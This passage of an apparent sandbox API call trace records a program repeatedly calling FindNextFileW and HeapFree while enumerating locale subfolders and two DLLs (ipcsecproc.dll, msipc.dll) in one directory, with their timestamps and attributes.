nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0252.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0252.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0252.033] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.033] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0252.034] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.034] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0252.035] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.035] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0252.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.036] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0252.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.037] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0252.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.065] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0252.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.065] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0252.066] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.066] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0252.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.068] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1 [0252.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.069] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1 [0252.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.070] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ae17b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0252.070] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.070] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0252.071] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.071] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0252.072] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.072] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0252.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0252.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.074] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0252.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.075] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0252.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.076] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0252.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.077] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0252.078] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.078] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0252.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0252.096] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0252.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.098] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0252.099] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.099] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0252.100] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.100] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0252.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.101] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0252.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.102] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0252.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.105] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0252.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.105] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0252.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.106] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0252.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.107] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0252.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.107] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0252.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.108] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0252.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.109] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0252.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.109] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0252.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.110] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0252.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.111] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0252.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0252.112] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", 